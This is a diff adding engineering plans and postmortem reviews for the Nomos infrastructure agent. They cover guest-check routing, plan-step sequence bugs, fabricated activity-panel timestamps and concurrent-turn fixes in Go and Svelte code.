- Test LXCs (C3): `SELECT count(*) FROM entities WHERE slug IN
|
||||
('lxc:preflight-test','lxc:test-livewatch',...) AND state<>'destroyed';` → 0.
|
||||
- Provision a throwaway LXC via Nomos → it auto-gets scripts + check_defs + passes
|
||||
`health-check-answering` before reaching `active` (E1/E2).
|
||||
- `GET /api/v1/entities?type=certificate&limit=1` → >0; cert-expiry checks created.
|
||||
- `GET /api/v1/entities?type=skill&limit=50` → >0.
|
||||
- `GET /api/v1/graph` node count > 500 (or infra fully represented with a layer filter).
|
||||
- `oikos export` diff shows dns-record entities present; `git diff seeds/inventory.yaml`.
|
||||
- Scheduler logs: `checkdefaults: declared check not created` warnings gone for dns-zone.
|
||||
- **Canonical access (A1):** no scheduler code path SSHes a guest directly —
|
||||
`grep -rn "sshExec" internal/scheduler` shows it only for `host:`/`ws:` targets; LXC/VM
|
||||
go through the shared `pct exec`/`qm guest exec` resolver.
|
||||
- **Audit skill (F1/F2):** `audit_knowledge_graph` MCP tool returns a ranked report with
|
||||
the 9 categories; running it against current state reproduces this plan's findings
|
||||
(orphan checks, stray test LXCs, undeployed scripts, seed drift, 0 certs). The skill
|
||||
is read-only — confirm it performs no DB writes (audit-log shows only reads).
|
||||
|
||||
Unit/integration tests to add/update:
|
||||
- `internal/checkdefaults` / shared `internal/remote` resolver: LXC/VM check routes via
|
||||
`pct exec`/`qm guest exec` to the resolved proxmox host; resolver reads top-level `user`;
|
||||
`public_ipv4` preferred for standalone-server (`defaults_test.go`).
|
||||
- `internal/scheduler`: `ListEnabledCheckDefs` excludes deprecated/destroyed targets
|
||||
(new test); `coverage_test.go` still green; `sshExec` no longer called for guest slugs.
|
||||
- macOS script branches: assert JSON shape unchanged on `Darwin` (shunit2 or a smoke run).
|
||||
- E1: new-entity creation triggers script push (mock pct/SSH in test).
|
||||
- F1: `audit_knowledge_graph` against a fixture DB+mock discovery returns the expected
|
||||
category counts (ghost, missing, orphan, undeployed, drift).
|
||||
|
||||
## Risks
|
||||
|
||||
- **Canonical host-hop (A1)** makes each proxmox host the single SSH dependency for all its
|
||||
guests. This is already true (pct exec requires the host up) and is a net improvement
|
||||
(one credential vs many), but a host outage now fails all its guest checks together —
|
||||
which is the *correct* blast radius (guests are unreachable when their host is down).
|
||||
- **Routing change (A1)** alters how probes reach every guest — `config_mutation`. Verify
|
||||
one LXC end-to-end (rclone via `pct exec 132`) before fanning out. Extracting
|
||||
`resolveExecTarget` into a shared package keeps scheduler + MCP in lockstep.
|
||||
- **Script push into guests (A2/E1)** writes to guest filesystems — `config_mutation`.
|
||||
Idempotent + content-checked; never clobber a same-named operator script without diffing.
|
||||
- **mac-mini root SSH**: do NOT enable root login; use `dtoro` (A3) — keeps macOS hardening.
|
||||
- **`netbird-vps` sshd locked to hubris pubkey**: may need the scheduler key added or
|
||||
proxying via hubris; confirm before assuming direct SSH works (A5).
|
||||
- **`health-check-answering` gate (E2)** could block a legitimately-active entity whose
|
||||
only working check is ICMP-blocked (haos). Allow the gate to pass on any non-`down`
|
||||
reachable probe, or grant an operator override.
|
||||
- **Audit skill (F1)** discovers infra via `pct`/Caddy/docker reads — keep it strictly
|
||||
read_only; ensure discovery commands are in the read-only allowlist (no state change).
|
||||
- **Seed re-export** can surface large diffs (cognition entities) — scope export to
|
||||
topology entities, or review carefully before commit. Bump `VERSION` per repo rule.
|
||||
- **Graph cap raise**: large node sets may slow the graph render; pair with a layer filter.
|
||||
|
||||
## Open questions (none blocking; confirm during implementation)
|
||||
|
||||
- republic-laptop: mesh-only roving laptop — keep ping-only (accept transient `down`) or
|
||||
`monitoring: none`? (A5)
|
||||
- secrets ingress: keep as archaeology or destroy the route? (C2)
|
||||
- certificates: seed statically from Caddyfile, or auto-discover live from Caddy store? (D1)
|
||||
- netbird-vps: add scheduler key to its sshd, or always proxy through hubris? (A5)
|
||||
- Audit discovery for docker hosts/stacks: enumerate via `docker ps`, or model compose
|
||||
stacks only? (F1)
|
||||
|
||||
## Suggested order
|
||||
|
||||
A1 (canonical host-hop routing — unblocks rclone + all guests) → A2 (push scripts into
|
||||
guests) → A3 → A4 (mac-mini) → A5 → E1/E2 (automate for new entities) → B1 → C1 → C3 → C2
|
||||
→ D2 (quick, silences dns noise) → F1/F2 (audit skill — also validates the above worked)
|
||||
→ D1 → D4 → D3 → D5. Validate after each track.
|
||||
@@ -0,0 +1,293 @@
|
||||
# 2026-07-30 — Session review: plan drift & a dead activity panel
|
||||
|
||||
**Status:** Done — 2026-08-03. Shipped in `467589d` (v0.14.1), deployed to
|
||||
production. The two operator-reported complaints are resolved and verified on
|
||||
the bug-report session itself (`398f5eda`); see [Resolution](#resolution-2026-08-03)
|
||||
at the end. Items P0.1, P0.2 (fix 1+2), P1.1, P1.2 are complete; P0.2 fix 3,
|
||||
P2.1, P2.2 are deferred (the reported symptoms no longer reproduce).
|
||||
|
||||
**Scope:** The five most-recently-active `agent:nomos` sessions by
|
||||
`last_active_at`, pulled from the live Postgres on 2026-07-30, plus the
|
||||
code paths they exercise (`cmd/nomos/store.go`, `cmd/nomos/tasks.go`,
|
||||
`web/src/lib/stores/{activity,workspace,chat}.ts`,
|
||||
`web/src/lib/components/UnifiedTimeline.svelte`).
|
||||
**Trigger:** Operator report — "the plan was off, the activity sidepanel
|
||||
was not kept up to date and feels off, not live."
|
||||
|
||||
Both complaints are real, both reproduce deterministically, and both have
|
||||
a single-line root cause. They are *not* the same bug, but they compound:
|
||||
the plan bug produces the exact event stream that the activity panel
|
||||
silently discards.
|
||||
|
||||
---
|
||||
|
||||
## Sessions reviewed
|
||||
|
||||
| # | sid | goal (short) | outcome | activity rows | plan gens | re-planned? |
|
||||
|---|---|---|---|---|---|---|
|
||||
| 1 | `398f5eda` | hubris recurring network outage → EEE mitigation | success | 48 | 2 | **yes** |
|
||||
| 2 | `0a49ba3d` | triage active signals on host:strong | success | 30 | 1 | no |
|
||||
| 3 | `9368633d` | sensor temperatures on host:strong | success | 12 | 1 | no |
|
||||
| 4 | `2065a29a` | temps → pivot to "fun fact about chickens" | success | 18 | 2 | **yes** |
|
||||
| 5 | `bad26076` | greeting / responsiveness test | success | 6 | 1 | no |
|
||||
|
||||
**Score: 5 success / 0 partial / 0 failed.** The agent's *reasoning* was
|
||||
fine in all five. Every defect below is in the bookkeeping and the
|
||||
rendering — the parts the operator actually looks at.
|
||||
|
||||
**The correlation that matters: both sessions that re-planned (`398f5eda`,
|
||||
`2065a29a`) recorded a corrupt plan. Neither of the three that didn't
|
||||
re-plan did.** Re-planning was a 100% failure path (pre-fix).
|
||||
|
||||
---
|
||||
|
||||
## P0.1 — `update_plan_step` addresses the wrong plan generation
|
||||
|
||||
This is "the plan was off," and it was fully deterministic.
|
||||
|
||||
`proposePlan` numbered a new generation's steps *continuing* from the old
|
||||
one (`store.go:937`):
|
||||
|
||||
```go
|
||||
seq := startSeq + i + 1 // startSeq = MAX(seq) of all prior steps
|
||||
```
|
||||
|
||||
So on generation 2 of `398f5eda`, the six new steps landed at **seq 7–12**.
|
||||
|
||||
But the tool result the model got back never mentioned those numbers
|
||||
(`tasks.go:282`):
|
||||
|
||||
```
|
||||
"Plan set (6 steps). If all steps are read-only, execute now — …"
|
||||
```
|
||||
|
||||
…while `update_plan_step`'s schema told it (`tasks.go:81`):
|
||||
|
||||
```go
|
||||
"seq": "1-based step number from propose_plan."
|
||||
```
|
||||
|
||||
The model had no way to learn the real seq numbers and was explicitly told
|
||||
to use 1-based ones. It did exactly that.
|
||||
|
||||
**What the DB recorded for `398f5eda`:**
|
||||
|
||||
```
|
||||
20:07:40 propose_plan → gen 2 created at seq 7..12
|
||||
gen 1 (seq 1..6) marked `replaced`
|
||||
20:08:10 update_plan_step seq=1 running ← hits gen-1 step 1
|
||||
20:08:18 update_plan_step seq=1 done ← resurrects a `replaced` row
|
||||
20:08:18 update_plan_step seq=2 running
|
||||
…
|
||||
20:09:57 complete_task
|
||||
```
|
||||
|
||||
Result — the persisted plan was a lie in three separate ways:
|
||||
|
||||
- **Steps 1–5 (the abandoned "force 1Gbps" plan) show `done`** with real
|
||||
start/finish timestamps. Work that was never performed was recorded as
|
||||
performed. `updatePlanStep` wrote status by seq with no guard, so it
|
||||
happily flipped `replaced` → `running` → `done`.
|
||||
- **Steps 7–12 (the actual EEE work that ran) had `started_at = NULL`**
|
||||
and were bulk-closed to `done` by `completeTask`'s auto-close sweep
|
||||
(`store.go:1096`) at 20:09:57 — all six sharing one timestamp.
|
||||
- **The panel shows 12 steps**, because `getPlanSteps` returned every
|
||||
generation unfiltered (`store.go:1356`) and the frontend never reads the
|
||||
`generation` field at all (`grep generation web/src` → zero hits outside
|
||||
the API type).
|
||||
|
||||
`2065a29a` had the identical signature: gen 2 at seq 4–5, gen-1 steps 1
|
||||
and 2 flipped to `done`/`skipped` four seconds later.
|
||||
|
||||
### Fix (implemented)
|
||||
|
||||
1. **Make seq generation-relative.** `proposePlan` resets seq to `1..N` per
|
||||
generation; `(session_id, generation, seq)` is the addressing key.
|
||||
`updatePlanStep` resolves against `MAX(generation)`. This matches what
|
||||
the model naturally does and what every prompt already says.
|
||||
2. **Return the seq numbers to the model.** The `propose_plan` result now
|
||||
enumerates them (`1=…; 2=…`).
|
||||
3. **Refuse writes to superseded rows.** `updatePlanStep` addresses only
|
||||
the current generation; a stale/out-of-range seq returns
|
||||
`errPlanStepNotFound` (never resurrects a `replaced` row).
|
||||
4. **Filter by generation on read.** `getPlanSteps` returns only
|
||||
`MAX(generation)` by default; `?all=true` for the audit/eval view.
|
||||
5. **Stamp `started_at` in the auto-close sweep.** `completeTask` closing
|
||||
a step sets `started_at = COALESCE(started_at, now())`.
|
||||
|
||||
A migration (`029`) renumbers existing rows to per-generation `1..N` and
|
||||
replaces the `(session_id, seq)` index with a unique
|
||||
`(session_id, generation, seq)`.
|
||||
|
||||
---
|
||||
|
||||
## P0.2 — The activity panel invents its own timestamps
|
||||
|
||||
This is "not live / feels off," and it was worse than a staleness bug: the
|
||||
times on screen were **fabricated at render time**.
|
||||
|
||||
`activity.ts:118` — every tool entry:
|
||||
|
||||
```ts
|
||||
timestamp: now - ($msgs.length - mi) * 1000
|
||||
```
|
||||
|
||||
`now` was `Date.now()` captured at the top of `computeActivityLog`. So a
|
||||
tool call's displayed time was *"the moment this function last ran, minus
|
||||
one second per message from the end."* Not when the call happened.
|
||||
|
||||
Three consequences, all of which read as "not live":
|
||||
|
||||
- **The clock was wrong.** `UnifiedTimeline` rendered these through
|
||||
`hhmm()` / `hhmmss()`, so opening yesterday's session showed every step
|
||||
timestamped *right now*, one second apart.
|
||||
- **It churned every 3 seconds.** The message poller re-set `messages`
|
||||
unconditionally on every tick, which re-derived `activityLog`, which
|
||||
re-captured `now`. Every entry's timestamp marched forward 3s at a time,
|
||||
forever. Motion with no information.
|
||||
- **Real and fake timestamps sorted together.** Plan steps used the
|
||||
genuine `started_at`; tool calls used the synthetic value; the final
|
||||
sort mixed them. Steps with no `started_at` fell back to `now` — **97 of
|
||||
339 non-pending steps in the DB (29%) had `started_at = NULL`** — so they
|
||||
landed at the bottom of the timeline regardless of when they ran.
|
||||
|
||||
The real data already existed and was already served: `agent_activity`
|
||||
holds true `ts`, `duration_ms`, `success`, and
|
||||
`correlation_id = session_id`, exposed at `GET /agent-activity`. The panel
|
||||
ignored it and reconstructed a worse version from the message blob.
|
||||
|
||||
### Fix (implemented — fix 1 + 2)
|
||||
|
||||
1. **Carry real timestamps on tool calls.** `computeActivityLog` uses each
|
||||
tool call's message `created_at` (a true persisted time). The
|
||||
`now - (len - mi) * 1000` expression is gone entirely.
|
||||
2. **Only fall back to wall-clock for genuinely-live entries, and freeze
|
||||
it once assigned** — a `Map<id, timestamp>` outside the derivation, so
|
||||
re-deriving never moves an existing entry. This is what kills the churn.
|
||||
|
||||
Deferred to a later pass: backing the panel with `agent_activity` for
|
||||
historical sessions (fix 3, unlocks `duration_ms`) — the two reported
|
||||
symptoms (wrong clock, churn) no longer reproduce without it.
|
||||
|
||||
---
|
||||
|
||||
## P1.1 — Plan-step events for a superseded generation were silently dropped
|
||||
|
||||
The frontend half of P0.1, and the reason the panel *froze* rather than
|
||||
merely showing wrong steps.
|
||||
|
||||
On `plan.proposed` with `appended: false`, the store replaced its step
|
||||
list wholesale — so after the re-plan it held seq 7–12. Every subsequent
|
||||
`plan.step.started` / `plan.step.finished` carried seq 1–5 and a gen-1
|
||||
`step_id`, and `applyPlanStepEventTo` bailed on no match:
|
||||
|
||||
```ts
|
||||
if (i === -1) return steps
|
||||
```
|
||||
|
||||
So for the entire second half of `398f5eda` — the half where all the real
|
||||
work happened — **the panel showed six pending steps and nothing ever
|
||||
moved.** Then `completeTask` closed them in the DB while emitting only
|
||||
`task.status`, no per-step events, so they stayed pending on screen even
|
||||
after the session finished.
|
||||
|
||||
### Fix (implemented)
|
||||
|
||||
- Fixing P0.1 removed the cause (the events now carry the correct
|
||||
generation-relative seq + the panel's current steps match). The `i === -1`
|
||||
branch now `console.warn`s and increments an exported
|
||||
`droppedPlanStepEvents` counter instead of returning silently, so the
|
||||
next divergence is visible instead of looking like a dead UI.
|
||||
- **`completeTask`'s auto-close sweep now emits `plan.step.finished` per
|
||||
closed step** (scoped to the current generation). General rule enforced:
|
||||
no plan-step status change without a corresponding event.
|
||||
|
||||
---
|
||||
|
||||
## P1.2 — Every plan carried a duplicate writeback step
|
||||
|
||||
In `398f5eda` gen 2, step 11 was the model's own writeback step and step 12
|
||||
was the auto-appended one. The detector substring-matched the literal tool
|
||||
names `update_entity_attributes` / `create_relationship` in the title or
|
||||
detail; the model wrote a natural-language equivalent, so the match failed
|
||||
and a redundant step was appended. Same pattern in `0a49ba3d` and
|
||||
`9368633d`.
|
||||
|
||||
### Fix (implemented)
|
||||
|
||||
Broadened the detector to a case-insensitive check for `write back` /
|
||||
`writeback` / `upsert_knowledge` in the title or detail, on top of the
|
||||
existing tool-name match.
|
||||
|
||||
---
|
||||
|
||||
## P2.1 — Long unexplained stalls, invisible in the UI *(deferred)*
|
||||
|
||||
- `bad26076`: a greeting took **16 minutes** wall-clock with 6 activity rows.
|
||||
- `2065a29a`: step 1 showed `started_at` → `finished_at` spanning **16 minutes**
|
||||
for a `sensors` call that returned in milliseconds.
|
||||
|
||||
The work took under a second; the step was *open* for 16 minutes. The panel
|
||||
has no way to distinguish "working" from "waiting for a nudge." Surfaces a
|
||||
step's idle time: mark a `running` step *stalled* when it has had no
|
||||
`agent_activity` row for >60s. Deferred — needs the `agent_activity`-backed
|
||||
panel (P0.2 fix 3).
|
||||
|
||||
## P2.2 — `agent_activity` is a single-type table *(deferred — decision)*
|
||||
|
||||
All rows are `activity_type = 'tool_call'`. Either start emitting the other
|
||||
types the schema anticipates (`reasoning`, `plan`, `error`) or drop the
|
||||
dimension. Worth a decision, not urgent.
|
||||
|
||||
---
|
||||
|
||||
## Recommended sequence (executed)
|
||||
|
||||
| Order | Item | Status |
|
||||
|---|---|---|
|
||||
| 1 | P0.1 fix 3 + 4 (refuse superseded writes, filter on read) | done |
|
||||
| 2 | P0.2 fix 1 + 2 (real timestamps, frozen fallback) | done |
|
||||
| 3 | P1.1 (emit events from the auto-close sweep) | done |
|
||||
| 4 | P0.1 fix 2 (generation-relative seq) + migration | done |
|
||||
| 5 | P1.2, P2.1 | P1.2 done; P2.1 deferred |
|
||||
| 6 | P0.2 fix 3 (back the panel with `agent_activity`) | deferred |
|
||||
| 7 | P2.2 | deferred |
|
||||
|
||||
## Regression coverage (added)
|
||||
|
||||
- `store_test.go`: `TestUpdatePlanStep_GenerationRelative` — re-plan →
|
||||
`update_plan_step(seq=1)` must address gen-2 and never resurrect a
|
||||
superseded gen-1 `replaced` row; out-of-range seq → `errPlanStepNotFound`.
|
||||
- `store_test.go`: `TestCompleteTask_AutoCloseEmitsEvents` — auto-close
|
||||
emits one `plan.step.finished` per closed step and stamps `started_at`.
|
||||
- `store_test.go`: `TestProposePlan_RefuseInFlight` — updated for
|
||||
generation-relative seq + `?all=true`.
|
||||
- `web/src/lib/stores/activity.test.ts`: `computeActivityLog` is pure w.r.t.
|
||||
wall-clock (two calls 50ms apart → identical output), persisted tool calls
|
||||
use real `created_at`, live entries freeze instead of churning.
|
||||
|
||||
---
|
||||
|
||||
## Resolution (2026-08-03)
|
||||
|
||||
Shipped in commit `467589d` (VERSION `0.14.0` → `0.14.1`), pushed to
|
||||
`origin/main`, deployed via the Gitea webhook (`scripts/deploy.sh`):
|
||||
pg_dump → pull → `docker compose build` → `up -d` → health check (healthy).
|
||||
|
||||
Verification on the bug-report session `398f5eda` post-migration:
|
||||
|
||||
```
|
||||
gen 1: seq 1..6 (the abandoned "force 1Gbps" plan — superseded)
|
||||
gen 2: seq 1..6 (the real EEE work — was seq 7..12, now normalized to 1..6)
|
||||
```
|
||||
|
||||
- `schema_migrations` v29 applied; old `idx_plan_steps_session` dropped,
|
||||
unique `idx_plan_steps_session_gen_seq` in place.
|
||||
- Containers recreated; `healthz` and `/agent/sessions/:id/plan` HTTP 200.
|
||||
- Full `cmd/nomos` suite (23 tests) + web suite (70 tests) green; `go vet`
|
||||
clean; ESLint/Prettier clean.
|
||||
|
||||
Note: historical `started_at = NULL` on already-completed steps (visible on
|
||||
`398f5eda` gen 2) is left as-is — backfilling would fabricate times. Going
|
||||
forward `completeTask` stamps `started_at`, and the frontend freezes
|
||||
NULL-started steps stably so they no longer churn.
|
||||
184
plans/2026-08-03-nomos-chat-changes-review.md
Normal file
184
plans/2026-08-03-nomos-chat-changes-review.md
Normal file
@@ -0,0 +1,184 @@
|
||||
# 2026-08-03 — Review: nomos chat reliability/UX changes (F1–F7)
|
||||
|
||||
**Status:** Implemented (P0, P1, P2 all done). See
|
||||
[Resolution](#resolution) at the end.
|
||||
|
||||
A critical self-review of the uncommitted F1–F7 changeset
|
||||
(`plans/2026-08-03-nomos-chat-reliability-and-ux-audit.md` Resolution). The
|
||||
change set is mostly sound and builds/tests green, but **F1 introduced one
|
||||
real lost-work regression** by changing the contract of `resumeSession` (it can
|
||||
now skip) without updating two callers that mutate state *before* calling it.
|
||||
That must be fixed before this ships.
|
||||
|
||||
## What was changed (for orientation)
|
||||
- F1 `cmd/nomos/turngate.go` (+test): per-session single-flight; `resumeSession`
|
||||
acquires non-blocking and **skips** if a turn is active; `handleChat` live path
|
||||
acquires with a 5s wait.
|
||||
- F2/F3 `web/src/lib/stores/chat.ts`: humanized errors, `clearTurnState` on
|
||||
terminal `task.status`, turn-free reconnect.
|
||||
- F4 streaming in global `activityLog` + inline `ToolCallCard`.
|
||||
- F5 artifact/knowledge deep links; F6 step-first headline; F7 stable layout.
|
||||
|
||||
---
|
||||
|
||||
## P0 — F1 loses finished-execution continuations (must fix before shipping)
|
||||
|
||||
**Bug.** `processContinuations` (`cmd/nomos/continue.go:166-167`) calls
|
||||
`a.store.markContinued(ctx, p.ExecID)` **before** dispatching
|
||||
`continueSession → resumeSession`. `markContinued` sets `continued_at`, and
|
||||
`pendingContinuations` (`store.go:1763`) filters `WHERE continued_at IS NULL` —
|
||||
so a marked execution is **never re-queued**.
|
||||
|
||||
Before F1, `resumeSession` always ran, so marking-first was safe. F1 made
|
||||
`resumeSession` skip when a turn is already active for the session. Now:
|
||||
|
||||
- **Two executions for one session finish near-simultaneously** (the common
|
||||
multi-step case): the loop marks BOTH, spawns two goroutines; goroutine 1
|
||||
acquires and runs, goroutine 2's `resumeSession` **skips** → execution 2 is
|
||||
marked continued but its result is **never fed back to the agent. Lost.**
|
||||
- **A live turn is streaming when an async execution finishes**: continuation
|
||||
marks + dispatches; `resumeSession` skips (live turn holds the permit) →
|
||||
result lost.
|
||||
|
||||
This silently drops auto-continuation — worse than the interleaving F1 set out
|
||||
to fix.
|
||||
|
||||
**Fix.** Make `resumeSession` report whether it actually ran, and mark-continued
|
||||
only after a successful run; on a busy-skip, leave the execution pending for the
|
||||
next worker tick.
|
||||
|
||||
1. `cmd/nomos/continue.go` — change `resumeSession` to return `bool`:
|
||||
```go
|
||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) bool {
|
||||
if !a.gate.acquire(sessionID, 0) {
|
||||
slog.Info("nomos: turn already active, skipping background resume", "session", sessionID)
|
||||
return false
|
||||
}
|
||||
defer a.gate.release(sessionID)
|
||||
…existing body…
|
||||
return true
|
||||
}
|
||||
```
|
||||
2. `continueSession` — mark only after a real run; on skip, leave pending:
|
||||
```go
|
||||
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
|
||||
if !a.resumeSession(ctx, p.SessionID, buildContinuationNote(p)) {
|
||||
slog.Info("nomos: continuation deferred — a turn is active; will retry next tick", "session", p.SessionID, "execution", p.ExecID)
|
||||
return
|
||||
}
|
||||
a.store.markContinued(ctx, p.ExecID)
|
||||
}
|
||||
```
|
||||
3. `processContinuations` — **delete** the `a.store.markContinued(ctx, p.ExecID)`
|
||||
line at `continue.go:166` (the dispatch `safego.Go(... continueSession ...)`
|
||||
stays). The `markContinued` at `:162` (the no-assent-window branch, which
|
||||
saves a note and does **not** call resumeSession) stays as-is — that path
|
||||
intentionally consumes the item.
|
||||
4. Update every other `resumeSession` caller to ignore the new return value
|
||||
(`/resume`, `handleAnswerQuestion`, the empty-message reconnect in
|
||||
`handleChat`) — they don't need the bool; a bare call discards it. No behavior
|
||||
change for them (their skip semantics are already correct/desired).
|
||||
|
||||
**Why this preserves the original "no re-continue loop" guarantee:** a
|
||||
`resumeSession` that *runs* always returns `true` (even on its internal LLM
|
||||
failure path — it has already persisted a failure note), so it gets marked and
|
||||
won't loop. Only a *busy-skip* returns `false` and stays pending, which is
|
||||
correct (retry once the turn frees). Crash-safety also improves: a crash between
|
||||
acquire and mark leaves the item un-marked → re-queued on restart.
|
||||
|
||||
**Validation:**
|
||||
- New test: two `pendingContinuation`s for one session dispatched concurrently;
|
||||
assert both are eventually processed (both `continued_at` set) and at no point
|
||||
do two `resumeSession` bodies overlap (reuse the `turnGate` single-flight
|
||||
pattern, or assert via a shared counter in a stubbed `chatWith`).
|
||||
- Existing `cmd/nomos` suite stays green; `go vet` clean.
|
||||
|
||||
---
|
||||
|
||||
## P1 — F1 can false-auto-close a merely-busy session (low risk, fix for robustness)
|
||||
|
||||
**Bug.** `processIdleSweep` (`continue.go:78-89`) bumps `completion_nudges`
|
||||
**before** calling `resumeSession`. If `resumeSession` skips (busy), the nudge is
|
||||
counted as unanswered; the next sweep sees `CompletionNudges >= 1` and
|
||||
**auto-closes** a session that was just busy.
|
||||
|
||||
**Likelihood is low** because `staleGoalSessions` (`store.go:1336`) filters
|
||||
`last_active_at < now() - threshold` and an active turn keeps updating
|
||||
`last_active_at` — so a busy session shouldn't appear stale. But the coupling is
|
||||
the same shape as P0 and worth closing.
|
||||
|
||||
**Fix.** Gate the bump on the run, mirroring P0:
|
||||
```go
|
||||
safego.Go("nomos:idle-nudge:"+s.ID, func() {
|
||||
note := …
|
||||
if a.resumeSession(ctx, s.ID, note) {
|
||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil { … }
|
||||
}
|
||||
})
|
||||
```
|
||||
(If skipped, leave `completion_nudges` at 0 so a genuinely-stale sweep nudges
|
||||
again later.)
|
||||
|
||||
---
|
||||
|
||||
## P2 — Minor / hygiene (optional, can ship without)
|
||||
|
||||
- **Redundant catch-up turn on reconnect.** When the live turn *already ended*
|
||||
before a dropped-SSE reconnect fires, the empty-message path still runs a
|
||||
"report your state" `resumeSession` turn the operator didn't ask for. F1 makes
|
||||
it non-concurrent (good) but it's still a spare turn. Consider: in
|
||||
`handleChat`'s empty-message branch, skip the `resumeSession` if the session
|
||||
is already terminal (`done`/`failed`/`abandoned`) or had activity within the
|
||||
last few seconds — just return 202 and let the poller catch up.
|
||||
- **Top-level side-effect on import.** `chat.ts` now calls `subscribeEvents()` +
|
||||
`liveEvents.subscribe(...)` at module top level. It works (and `vitest` stays
|
||||
green because tests mock `./chat`), but a hidden SSE-connect-on-import is
|
||||
fragile for future tests. Prefer a lazy `ensureChatEventSync()` called from
|
||||
the window mount path, matching how `workspace.ts` subscribes inside
|
||||
`startWorkspace` rather than at import.
|
||||
- **F7 follow-up (already documented):** the `NewTaskChat → SessionChatWindow`
|
||||
window-swap on first send still flashes; an in-place handoff would remove it.
|
||||
- **Pre-existing, not introduced:** `a.chat` retries the LLM stream on
|
||||
`ctx`-cancellation (client disconnect) up to 3×, holding the turn permit a few
|
||||
extra seconds. Out of scope here.
|
||||
|
||||
---
|
||||
|
||||
## Out of scope
|
||||
- F8 (ordering toggle + live background tool-delta streaming) — deferred in the
|
||||
original plan; its main symptom is removed by F1.
|
||||
- `run` execution deep-links (need an execution-view opener).
|
||||
|
||||
## Recommended order
|
||||
1. **P0** (lost continuations) — blocks shipping F1.
|
||||
2. **P1** (idle-sweep nudge gate) — small, same pattern.
|
||||
3. P2 items as time allows.
|
||||
4. Re-run `go test ./cmd/nomos/`, `go vet`, web `vitest`, `vite build`; keep
|
||||
`VERSION` at `0.15.0` (these are correctness fixes to the same changeset, not
|
||||
a new bump) — or bump patch to `0.15.1` if shipped as a follow-up commit.
|
||||
|
||||
---
|
||||
|
||||
## Resolution
|
||||
|
||||
All review items implemented. The whole batch (F1–F7 + these review fixes)
|
||||
remains one uncommitted changeset at `VERSION 0.15.0`.
|
||||
|
||||
| Item | Fix | Where |
|
||||
|---|---|---|
|
||||
| **P0** | `resumeSession` returns `bool` (false on busy-skip). `continueSession` marks an execution `continued` **only after** the turn ran; on a skip it defers and the next worker tick retries (item stays pending). Removed the pre-dispatch `markContinued` in `processContinuations`. Other callers (`/resume`, answer-question, reconnect) ignore the return. | `cmd/nomos/continue.go` |
|
||||
| **P0 test** | `TestResumeSession_SkipsWhenBusy`, `TestContinueSession_DefersWhenBusy` — DB-free contract tests proving the skip path returns false without running the body (nil provider would panic otherwise). | `cmd/nomos/continue_test.go` |
|
||||
| **P1** | Idle sweep bumps `completion_nudges` only after `resumeSession` actually runs, so a busy-skip can't be counted as an unanswered nudge → no false auto-close. | `cmd/nomos/continue.go` (`processIdleSweep`) |
|
||||
| **P2.1** | Empty-message reconnect (now defensive — the frontend no longer POSTs empty messages post-F2) skips a terminal session instead of spawning a spare "report state" turn. | `cmd/nomos/main.go` (`handleChat`) |
|
||||
| **P2.2** | Event subscription armed lazily from `chatFor()` (`ensureChatEventSync`) instead of at module import — no SSE-connect-on-import side-effect. | `web/src/lib/stores/chat.ts` |
|
||||
|
||||
**Verification:** `go test -count=1 ./cmd/nomos/` green (incl. the two new
|
||||
contract tests); `go vet` clean. Web `vitest` 70/70; `vite build` succeeds; no
|
||||
new `tsc`/eslint errors in any touched file.
|
||||
|
||||
**Note on the P0 end-to-end test:** the full "two continuations both processed,
|
||||
no overlap" scenario needs a live LLM provider (chatWith isn't stubbable without
|
||||
a refactor) and was therefore covered at the contract level (the skip returns
|
||||
false without running the body) plus the existing `turnGate` single-flight test
|
||||
for serialization, rather than as a DB integration test.
|
||||
356
plans/2026-08-03-nomos-chat-reliability-and-ux-audit.md
Normal file
356
plans/2026-08-03-nomos-chat-reliability-and-ux-audit.md
Normal file
@@ -0,0 +1,356 @@
|
||||
# 2026-08-03 — Nomos chat: reliability & predictability audit
|
||||
|
||||
**Status:** Implemented (F1–F7) in v0.15.0; F8 deferred. See
|
||||
[Resolution](#resolution-2026-08-03) at the end.
|
||||
|
||||
**Scope:** The live chat/task UX across one production session, audited through
|
||||
the code paths behind each operator-reported symptom —
|
||||
`cmd/nomos/{main.go,agent.go,continue.go,store.go}`,
|
||||
`web/src/lib/stores/{chat,activity,execstream,events,workspace}.ts`,
|
||||
`web/src/lib/components/{ChatThread,AgentTrace,ToolCallCard,UnifiedTimeline,TaskContextPanel,SessionChatWindow}.svelte`.
|
||||
**Trigger:** Operator report — streaming invisible in the tool card; the
|
||||
activity/plan panel wrong about parallel/nested runs and timestamps with no clear
|
||||
sequence; no links to artifacts/knowledge referenced in chat; agent "thinking"
|
||||
flickers/overwrites itself; layout jumps when a chat goes from empty to content;
|
||||
"Agent connection lost / Error in input stream" messages that aren't actionable
|
||||
and don't self-resolve; overall flaky/disconnected feel where the task never
|
||||
cleanly ended.
|
||||
|
||||
The prior round (`2026-07-30-session-review-plan-drift-and-dead-activity-panel.md`,
|
||||
shipped in `467589d`) fixed the plan-seq and fabricated-timestamp rendering bugs.
|
||||
This round's symptoms are a different layer: **turn orchestration, streaming
|
||||
wiring, and connection-state UX**. One architectural gap (F1) is the common
|
||||
cause behind several of them.
|
||||
|
||||
---
|
||||
|
||||
## The one root cause that compounds everything: F1
|
||||
|
||||
### F1 — No per-session turn serialization (concurrent turns corrupt the view)
|
||||
|
||||
`handleChat` runs `a.chat(ctx, ...)` directly in the HTTP request goroutine, and
|
||||
every "resume" path (`resumeSession`, the reconnect empty-message path, the
|
||||
auto-continuation worker, the idle sweep, answer-question) launches **another
|
||||
goroutine** (`safego.Go`) running a full turn. There is **no mutex keyed on
|
||||
`sessionID`** anywhere. The codebase already knows this is a hazard —
|
||||
`agent.go:316-323` marks approved executions `continued` specifically because
|
||||
"two concurrent LLM calls for the same session cause empty responses and race
|
||||
conditions" — but the fix is per-path patching, not a general lock.
|
||||
|
||||
What this produces, deterministically:
|
||||
|
||||
- A network blip on the browser↔nomos stream fires `handleDisconnect`
|
||||
(`chat.ts:383`), which POSTs an **empty-message reconnect** →
|
||||
`main.go:194-206` spawns `resumeSession` as a **new goroutine**. If the
|
||||
original turn is still alive (or finishes its current tool call), **two turns
|
||||
now run for one session**: interleaved `tool_use`/`text_delta` events, a
|
||||
re-proposed plan, and "the agent is repeating itself."
|
||||
